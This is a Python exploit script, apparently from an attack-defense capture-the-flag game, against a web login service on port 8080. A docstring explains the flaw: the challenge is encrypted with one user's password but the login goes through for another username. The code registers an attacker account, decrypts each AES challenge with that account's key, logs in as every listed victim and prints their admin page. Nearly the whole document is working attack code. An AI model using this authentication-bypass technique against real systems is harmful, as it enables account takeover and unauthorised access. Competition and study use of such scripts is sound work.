import hashlib
import random
import string
import sys

import requests
from Crypto.Cipher import AES

"""
Explanation:

The username is sent to the server twice: Once when requesting a challenge, and a second time when submitting the solution.
While password of the first user is used to encrypt the challenge, the second user is the one that is actually logged in.
1. register new user (for which we know the password and can solve challenges)
2. solve challenge, but login as different user
"""


def rand_str(length=16):
    return "".join(random.choice(string.ascii_letters + string.digits) for _ in range(16))


def register_new_user(target):
    username = rand_str()
    password = rand_str()
    password_hash = hashlib.sha256(password.encode()).hexdigest()
    response = requests.post(f'http://{target}:8080/func/register.php',
                             data={'username': username, 'password': password_hash})
    assert response.status_code == 200
    return username, password_hash


def exploit_one(target, username, exploit_user, exploit_pw_hash):
    sess = requests.Session()
    response = sess.post(f'http://{target}:8080/func/challenge.php', data={'username': exploit_user})

    challenge = bytes.fromhex(response.text)

    key = bytes.fromhex(exploit_pw_hash)
    iv = key[:16]
    solution = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(challenge).strip().decode()

    response = sess.post(f'http://{target}:8080/func/login.php', data={'username': username, 'solution': solution})

    assert response.status_code == 200

    return sess.get(f'http://{target}:8080/admin/home/').text


def exploit(target: str, flag_ids_username: list[str]):
    exploit_user, exploit_pw_hash = register_new_user(target)
    for flag_id in flag_ids_username:
        try:
            print(f'Attacking {flag_id}')
            result = exploit_one(target, flag_id, exploit_user, exploit_pw_hash)
            print(result)
        except Exception as e:
            raise e


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))
